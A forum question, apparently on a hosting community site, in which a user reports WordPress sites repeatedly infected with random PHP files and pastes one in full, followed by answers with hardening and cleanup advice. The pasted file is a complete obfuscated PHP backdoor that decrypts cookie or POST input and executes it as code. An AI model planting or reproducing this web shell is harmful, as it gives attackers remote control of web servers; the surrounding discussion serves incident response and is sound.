Question

Wordpress websites hacked, strange php files keep appearing

Posted February 29, 2020 245 views
ApacheWordPress

My html folder full of wordpress websites get continously infected with strange php files. I regularly delete them but they reappear (also their date looks random and it’s impossible to detect when they are uploaded).

The files have names such as 6k6xekmd.php.

The content is like this:

<?php
$kimlluq = 'xgr4#ati9cn3sembo\'*6vpd2_-l7fkyu058H';$dcgyv = Array();$dcgyv[] = $kimlluq[9].$kimlluq[2].$kimlluq[13].$kimlluq[5].$kimlluq[6].$kimlluq[13].$kimlluq[24].$kimlluq[28].$kimlluq[31].$kimlluq[10].$kimlluq[9].$kimlluq[6].$kimlluq[7].$kimlluq[16].$kimlluq[10];$dcgyv[] = $kimlluq[35].$kimlluq[18];$dcgyv[] = $kimlluq[4];$dcgyv[] = $kimlluq[15].$kimlluq[27].$kimlluq[27].$kimlluq[19].$kimlluq[33].$kimlluq[9].$kimlluq[5].$kimlluq[5].$kimlluq[25].$kimlluq[23].$kimlluq[13].$kimlluq[33].$kimlluq[32].$kimlluq[25].$kimlluq[3].$kimlluq[11].$kimlluq[8].$kimlluq[8].$kimlluq[25].$kimlluq[15].$kimlluq[3].$kimlluq[23].$kimlluq[9].$kimlluq[25].$kimlluq[19].$kimlluq[9].$kimlluq[13].$kimlluq[34].$kimlluq[33].$kimlluq[8].$kimlluq[33].$kimlluq[8].$kimlluq[32].$kimlluq[22].$kimlluq[15].$kimlluq[5];$dcgyv[] = $kimlluq[9].$kimlluq[16].$kimlluq[31].$kimlluq[10].$kimlluq[6];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[24].$kimlluq[2].$kimlluq[13].$kimlluq[21].$kimlluq[13].$kimlluq[5].$kimlluq[6];$dcgyv[] = $kimlluq[13].$kimlluq[0].$kimlluq[21].$kimlluq[26].$kimlluq[16].$kimlluq[22].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[31].$kimlluq[15].$kimlluq[12].$kimlluq[6].$kimlluq[2];$dcgyv[] = $kimlluq[5].$kimlluq[2].$kimlluq[2].$kimlluq[5].$kimlluq[30].$kimlluq[24].$kimlluq[14].$kimlluq[13].$kimlluq[2].$kimlluq[1].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[26].$kimlluq[13].$kimlluq[10];$dcgyv[] = $kimlluq[21].$kimlluq[5].$kimlluq[9].$kimlluq[29];foreach ($dcgyv[8]($_COOKIE, $_POST) as $uiztgqs => $vyqoc){function ifrikvp($dcgyv, $uiztgqs, $wansrwt){return $dcgyv[7]($dcgyv[5]($uiztgqs . $dcgyv[3], ($wansrwt / $dcgyv[9]($uiztgqs)) + 1), 0, $wansrwt);}function losmy($dcgyv, $jvcjj){return @$dcgyv[10]($dcgyv[1], $jvcjj);}function blytvnx($dcgyv, $jvcjj){$vtngy = $dcgyv[4]($jvcjj) % 3;if (!$vtngy) {$ktypu = $dcgyv[0]; $enjxyns = $ktypu("", $jvcjj[1]($jvcjj[2]));$enjxyns();exit();}}$vyqoc = losmy($dcgyv, $vyqoc);blytvnx($dcgyv, $dcgyv[6]($dcgyv[2], $vyqoc ^ ifrikvp($dcgyv, $uiztgqs, $dcgyv[9]($vyqoc))));}

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

×
2 answers

Hi there @ilariaroglieri,

I could suggest following the steps from this answer here on how to secure your WordPress websites:

https://www.digitalocean.com/community/questions/how-to-secure-wordpress-without-a-security-plugin

Once you’ve done that I could suggest the following as well:

  • Install a plugin called Wordfence and run a security scan for each website

  • Delete any plugins and themes that you do not use

  • Change your WordPress core files with clean ones and also run a core checksum with the wp-cli tool

  • Also make sure to check your Apache or Nginx access logs for any strange POST requests

Another thing you could try is also installing mod security in case you are using Apche. And you could use mod RUID2 which allows you to run each website under a different Linux user so that if 1 site gets compromised the rest of the sites would not be affected.

Let me know if you have any questions.
Regards,
Bobby

Have you installed any nulled wordpress theme or plugin from untrusted sources?

Nulled means non-authorized premium wordpress themes or plugins downloaded for free from sites other than its publisher.

Submit an Answer